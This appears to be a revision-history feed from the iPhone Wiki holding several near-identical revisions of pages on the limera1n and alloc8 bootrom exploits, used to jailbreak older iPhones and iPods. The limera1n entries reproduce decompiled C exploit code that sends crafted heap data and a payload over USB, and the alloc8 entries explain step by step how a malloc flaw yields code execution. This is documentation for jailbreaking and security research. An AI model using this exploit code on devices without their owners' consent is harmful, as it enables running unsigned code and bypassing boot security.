&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57027</id>
		<title>Limera1n Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57027"/>
		<updated>2017-04-11T23:58:44Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''limera1n exploit''' is the [[bootrom]] and [[iBoot (Bootloader)|iBoot]] exploit used to run unsigned code (and thereby jailbreak) the [[N18AP|iPod touch 3rd Generation]], the [[N88AP|iPhone 3GS]] and all [[S5L8930|A4]]-based devices. First used in the [[limera1n]] tool by [[User:geohot|geohot]], it can perform a [[tethered jailbreak]] on the aforementioned devices. The jailbreak can then be turned into an [[untethered jailbreak]] with other exploits, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]]. &lt;br /&gt;
&lt;br /&gt;
limera1n was the most recent publicly disclosed bootrom exploit until the disclosure of the [[alloc8 Exploit]] in April 2017. The last device released vulnerable to limera1n is the [[N90BAP|iPhone 4 (iPhone3,2)]], and it remains to be the only publicly disclosed bootrom exploit for this device.&lt;br /&gt;
&lt;br /&gt;
==Source Code==&lt;br /&gt;
 signed int __cdecl upload_exploit() {&lt;br /&gt;
     int device_type;&lt;br /&gt;
     signed int payload_address;&lt;br /&gt;
     int free_address;&lt;br /&gt;
     int deviceerror;&lt;br /&gt;
     char *chunk_headers_ptr;&lt;br /&gt;
     unsigned int sent_counter;&lt;br /&gt;
     //int v6;&lt;br /&gt;
     signed int result; &lt;br /&gt;
     //signed int v8;&lt;br /&gt;
     int recv_error_code;&lt;br /&gt;
     signed int payload_address2;&lt;br /&gt;
     signed int padding_size;&lt;br /&gt;
     char payload;&lt;br /&gt;
     char chunk_headers;&lt;br /&gt;
     //int v14;&lt;br /&gt;
     //v14 = *MK_FP(__GS__, 20);&lt;br /&gt;
     device_type = *(_DWORD *)(device + 16);&lt;br /&gt;
 &lt;br /&gt;
     if ( device_type == 8930 ) {&lt;br /&gt;
         padding_size = 0x2A800;&lt;br /&gt;
         payload_address = 0x8402B001;&lt;br /&gt;
         free_address = 0x8403BF9C;&lt;br /&gt;
     } else {&lt;br /&gt;
         payload_address = 0x84023001;&lt;br /&gt;
         padding_size = 0x22800;&lt;br /&gt;
         // free_address = (((device_type == 8920) – 1) &amp;amp; 0xFFFFFFF4) – 0x7BFCC05C;&lt;br /&gt;
         if(device_type == 8920) free_address = 0x84033FA4;&lt;br /&gt;
            else free_address = 84033F98;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     memset(&amp;amp;payload, 0, 0x800);&lt;br /&gt;
     memcpy(&amp;amp;payload, exploit, 0x230);&lt;br /&gt;
 &lt;br /&gt;
     if (libpois0n_debug) {&lt;br /&gt;
         //v8 = payload_address;&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Resetting device counters\n&amp;quot;);&lt;br /&gt;
         //payload_address = v8;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     payload_address2 = payload_address;&lt;br /&gt;
     deviceerror = irecv_reset_counters(client);&lt;br /&gt;
 &lt;br /&gt;
     if ( deviceerror ) {&lt;br /&gt;
         irecv_strerror(deviceerror);&lt;br /&gt;
         fprintf(stderr, 1, &amp;amp;aCannotFindS[12]);&lt;br /&gt;
         result = -1;&lt;br /&gt;
     } else {&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
         chunk_headers_ptr = &amp;amp;chunk_headers;&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             *(_DWORD *)chunk_headers_ptr = 1029;       &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 1) = 257;&lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 3) = free_address;&lt;br /&gt;
             chunk_headers_ptr += 64;&lt;br /&gt;
         } while ((int *)chunk_headers_ptr != &amp;amp;v14);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending chunk headers\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         sent_counter = 0;&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             sent_counter += 0x800;&lt;br /&gt;
             irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         } while (sent_counter &amp;lt; padding_size);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending exploit payload\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;payload, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending fake data\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xBB, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0xA1, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Executing exploit\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 2, 0, 0, &amp;amp;chunk_headers, 0);&lt;br /&gt;
         irecv_reset(client);&lt;br /&gt;
         irecv_finish_transfer(client);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug) {&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Exploit sent\n&amp;quot;);&lt;br /&gt;
             if (libpois0n_debug)&lt;br /&gt;
                 fprintf(stderr, 1, &amp;quot;Reconnecting to device\n&amp;quot;);&lt;br /&gt;
         }&lt;br /&gt;
 &lt;br /&gt;
         client = (void *)irecv_reconnect(client, 2);&lt;br /&gt;
 &lt;br /&gt;
         if (client) {&lt;br /&gt;
             result = 0;&lt;br /&gt;
         } else {&lt;br /&gt;
             if (libpois0n_debug) {&lt;br /&gt;
                 recv_error_code = irecv_strerror(0);&lt;br /&gt;
                 fprintf(stderr, 1, &amp;amp;aCannotFindS[12], recv_error_code);&lt;br /&gt;
             }&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Unable to reconnect\n&amp;quot;);&lt;br /&gt;
             result = -1;&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     // compiler stack check&lt;br /&gt;
     //if (*MK_FP(__GS__, 20) != v14)&lt;br /&gt;
     //    __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);&lt;br /&gt;
 &lt;br /&gt;
     return result;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57026</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57026"/>
		<updated>2017-04-11T23:57:02Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is a [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public untethered bootrom exploit for the '''new bootrom''' [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''untethered''' downgrades possible on the aforementioned device. It is the most recent publicly disclosed bootrom exploit.&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of alloc8, originally found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57025</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57025"/>
		<updated>2017-04-11T23:56:24Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is a [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public untethered bootrom exploit for the '''new bootrom''' [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''untethered''' downgrades possible on the aforementioned device. It is the final publicly disclosed bootrom exploit.&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of alloc8, originally found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
&lt;br /&gt;
This gives us the ability to write arbitrary data over data in the exception vector table and additional data which is located after it. We will flash a copy of 4096 bytes of data from bootrom to NOR and override the pointer to data abort exception handler, effectively using this primitive to override 4 bytes in the exception vector table in memory and keep everything else the same.&lt;br /&gt;
&lt;br /&gt;
Once reading from NOR is complete, bootrom attempts to free the temporary buffer at memory address 0x8. 8 bytes located immediately before allocated memory are used for heap metadata, but for this bad pointer the metadata is invalid. This leads to a bad memory access in function free, which triggers a data abort exception and the processor jumps to our shellcode.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Shellcode==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First 52 bytes of NOR contain an IMG2 header with NOR metadata that should not be changed. Before bootrom starts parsing images in NOR, the first 512 bytes of NOR are copied to memory allocated on the heap, but only 52 bytes are actually used. The remaining 460 bytes are unused and can be safely used for shellcode. Memory address where this data gets allocated is always the same.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Post Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;To clean up, shellcode returns from exception, sets a new stack top, restores the original pointer for data abort handler, and frees 44-byte structures which are occupying most of the heap, leaving only the one required for normal boot, LLB.&lt;br /&gt;
&lt;br /&gt;
At this point, shellcode can continue booting an unsigned LLB image from NOR or go to pwned DFU Mode and boot an unsigned image sent over USB.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57024</id>
		<title>Limera1n Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Limera1n_Exploit&amp;diff=57024"/>
		<updated>2017-04-11T23:54:25Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''limera1n exploit''' is the [[bootrom]] and [[iBoot (Bootloader)|iBoot]] exploit used to run unsigned code (and thereby jailbreak) the [[N18AP|iPod touch 3rd Generation]], the [[N88AP|iPhone 3GS]] and all [[S5L8930|A4]]-based devices. First used in the [[limera1n]] tool by [[User:geohot|geohot]], it can perform a [[tethered jailbreak]] on the aforementioned devices. The jailbreak can then be turned into an [[untethered jailbreak]] with other exploits, such as the [[0x24000 Segment Overflow]] or the [[Packet Filter Kernel Exploit]]. &lt;br /&gt;
&lt;br /&gt;
limera1n was the final publicly disclosed bootrom exploit until the disclosure of the [[alloc8 Exploit]] in April 2017. The last device released vulnerable to limera1n is the [[N90BAP|iPhone 4 (iPhone3,2)]], and it remains to be the only publicly disclosed bootrom exploit for this device.&lt;br /&gt;
&lt;br /&gt;
==Source Code==&lt;br /&gt;
 signed int __cdecl upload_exploit() {&lt;br /&gt;
     int device_type;&lt;br /&gt;
     signed int payload_address;&lt;br /&gt;
     int free_address;&lt;br /&gt;
     int deviceerror;&lt;br /&gt;
     char *chunk_headers_ptr;&lt;br /&gt;
     unsigned int sent_counter;&lt;br /&gt;
     //int v6;&lt;br /&gt;
     signed int result; &lt;br /&gt;
     //signed int v8;&lt;br /&gt;
     int recv_error_code;&lt;br /&gt;
     signed int payload_address2;&lt;br /&gt;
     signed int padding_size;&lt;br /&gt;
     char payload;&lt;br /&gt;
     char chunk_headers;&lt;br /&gt;
     //int v14;&lt;br /&gt;
     //v14 = *MK_FP(__GS__, 20);&lt;br /&gt;
     device_type = *(_DWORD *)(device + 16);&lt;br /&gt;
 &lt;br /&gt;
     if ( device_type == 8930 ) {&lt;br /&gt;
         padding_size = 0x2A800;&lt;br /&gt;
         payload_address = 0x8402B001;&lt;br /&gt;
         free_address = 0x8403BF9C;&lt;br /&gt;
     } else {&lt;br /&gt;
         payload_address = 0x84023001;&lt;br /&gt;
         padding_size = 0x22800;&lt;br /&gt;
         // free_address = (((device_type == 8920) – 1) &amp;amp; 0xFFFFFFF4) – 0x7BFCC05C;&lt;br /&gt;
         if(device_type == 8920) free_address = 0x84033FA4;&lt;br /&gt;
            else free_address = 84033F98;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     memset(&amp;amp;payload, 0, 0x800);&lt;br /&gt;
     memcpy(&amp;amp;payload, exploit, 0x230);&lt;br /&gt;
 &lt;br /&gt;
     if (libpois0n_debug) {&lt;br /&gt;
         //v8 = payload_address;&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Resetting device counters\n&amp;quot;);&lt;br /&gt;
         //payload_address = v8;&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     payload_address2 = payload_address;&lt;br /&gt;
     deviceerror = irecv_reset_counters(client);&lt;br /&gt;
 &lt;br /&gt;
     if ( deviceerror ) {&lt;br /&gt;
         irecv_strerror(deviceerror);&lt;br /&gt;
         fprintf(stderr, 1, &amp;amp;aCannotFindS[12]);&lt;br /&gt;
         result = -1;&lt;br /&gt;
     } else {&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
         chunk_headers_ptr = &amp;amp;chunk_headers;&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             *(_DWORD *)chunk_headers_ptr = 1029;       &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 1) = 257;&lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  &lt;br /&gt;
             *((_DWORD *)chunk_headers_ptr + 3) = free_address;&lt;br /&gt;
             chunk_headers_ptr += 64;&lt;br /&gt;
         } while ((int *)chunk_headers_ptr != &amp;amp;v14);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending chunk headers\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         sent_counter = 0;&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xCC, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         do {&lt;br /&gt;
             sent_counter += 0x800;&lt;br /&gt;
             irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         } while (sent_counter &amp;lt; padding_size);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending exploit payload\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;payload, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Sending fake data\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         memset(&amp;amp;chunk_headers, 0xBB, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0xA1, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
         irecv_control_transfer(client, 0x21, 1, 0, 0, &amp;amp;chunk_headers, 0x800);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug)&lt;br /&gt;
         fprintf(stderr, 1, &amp;quot;Executing exploit\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
         irecv_control_transfer(client, 0x21, 2, 0, 0, &amp;amp;chunk_headers, 0);&lt;br /&gt;
         irecv_reset(client);&lt;br /&gt;
         irecv_finish_transfer(client);&lt;br /&gt;
 &lt;br /&gt;
         if (libpois0n_debug) {&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Exploit sent\n&amp;quot;);&lt;br /&gt;
             if (libpois0n_debug)&lt;br /&gt;
                 fprintf(stderr, 1, &amp;quot;Reconnecting to device\n&amp;quot;);&lt;br /&gt;
         }&lt;br /&gt;
 &lt;br /&gt;
         client = (void *)irecv_reconnect(client, 2);&lt;br /&gt;
 &lt;br /&gt;
         if (client) {&lt;br /&gt;
             result = 0;&lt;br /&gt;
         } else {&lt;br /&gt;
             if (libpois0n_debug) {&lt;br /&gt;
                 recv_error_code = irecv_strerror(0);&lt;br /&gt;
                 fprintf(stderr, 1, &amp;amp;aCannotFindS[12], recv_error_code);&lt;br /&gt;
             }&lt;br /&gt;
             fprintf(stderr, 1, &amp;quot;Unable to reconnect\n&amp;quot;);&lt;br /&gt;
             result = -1;&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
 &lt;br /&gt;
     // compiler stack check&lt;br /&gt;
     //if (*MK_FP(__GS__, 20) != v14)&lt;br /&gt;
     //    __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);&lt;br /&gt;
 &lt;br /&gt;
     return result;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;br /&gt;
[[Category:Bootrom Exploits]]&lt;/div&gt;</summary>
		<author><name>WikiEditor01</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57023</id>
		<title>Alloc8 Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Alloc8_Exploit&amp;diff=57023"/>
		<updated>2017-04-11T23:50:23Z</updated>

		<summary type="html">&lt;p&gt;WikiEditor01: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{lowercase}}&lt;br /&gt;
The '''alloc8 exploit''' is a [[bootrom]] exploit used to run unsigned code (and thereby jailbreak) the [[N88AP|iPhone 3GS]]. It is the first public untethered bootrom exploit for the '''new bootrom''' [[N88AP|iPhone 3GS]], and was first used in the [[ipwndfu]] tool by '''axi0mX''', making '''untethered''' downgrades possible on the aforementioned device. It is the final publicly disclosed bootrom exploit of any device.&lt;br /&gt;
&lt;br /&gt;
'''axi0mX''' himself has produced a detailed analysis of this exploit, originally found at https://github.com/axi0mX/alloc8.&lt;br /&gt;
&lt;br /&gt;
==Vulnerability==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;This is not a typical heap bug. This is a bug in implementation of the heap itself.&lt;br /&gt;
&lt;br /&gt;
void *malloc(size_t size);&lt;br /&gt;
&lt;br /&gt;
In C programming language, function malloc should return NULL if it is unable to allocate memory of the requested size. Caller should check if returned pointer is NULL and handle the error:&lt;br /&gt;
&lt;br /&gt;
void *pointer = malloc(size);&lt;br /&gt;
&lt;br /&gt;
if (pointer == NULL) {&lt;br /&gt;
	// handle error&lt;br /&gt;
} else {&lt;br /&gt;
	// pointer is valid, continue&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
In S5L8920 bootrom (and some very old versions of iBoot) function malloc is not implemented correctly. When it is unable to allocate memory, instead of NULL it returns a pointer to memory address 0x8. Callers check if returned pointer is NULL and then treat that pointer as valid.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
==Exploitation==&lt;br /&gt;
&lt;br /&gt;
&amp;quot;First, we must be able to allocate enough data on the heap to make it run out of memory. Apple seems to have done a good job in reducing the attack surface of the bootrom, and it is far from certain that this can be achieved.&lt;br /&gt;
&lt;br /&gt;
There seems to be only a single way to fill up the heap during a normal boot. If we add additional IMG3 images to NOR, bootrom will parse all of them and allocate a 44-byte structure on the heap for each image. However, only the first image, LLB, needs to be parsed, because bootrom never uses any other image from NOR. Although this is not a vulnerability by itself, Apple changed this behavior later, in S5L8930 bootrom, and it no longer seems to be possible to fill up the heap in bootrom during normal boot.&lt;br /&gt;
&lt;br /&gt;
Second, once the heap is full, we must be able to use the pointer(s) to memory address 0x8 for reading or writing in a way that gets us arbitrary code execution before any panic or fatal memory corruption occurs.&lt;br /&gt;
&lt;br /&gt;
On ARMv7 processors, the exception vector table is located at memory address 0x0. The exception vector table contains critical instructions and data used for handling exceptions. Corrupting this exception vector table is a technique commonly used for exploits on ARMv7 processors. &lt;br /&gt;
&lt;br /&gt;
Although the exception vector table in bootrom comes from read-only memory, the exception vector table data is cached in L1 data cache, and it is possible to change behavior of the exception vector table by overwriting this data. Overwriting instructions has no effect, because instructions are cached separately in L1 instruction cache, and writes to memory are cached in L1 data cache, not L1 instruction cache.&lt;br /&gt;
&lt;br /&gt;
This data contains pointers to exception handlers used by bootrom, and changing any of these pointers to address of our shellcode makes the processor jump to our shellcode when that exception occurs.&lt;br /&gt;
&lt;br /&gt;
When bootrom is parsing IMG3 images from NOR, it reads 4096 bytes of data from NOR at a time into a temporary buffer. When there is a large number of IMG3 images in NOR, this temporary buffer is the first one which cannot be allocated on the heap, and it gets allocated at memory address 0x8. At that point, 4096 bytes of data from NOR, which we have full control over, gets copied to memory starting at memory address 0x8.&lt;br /&gt;
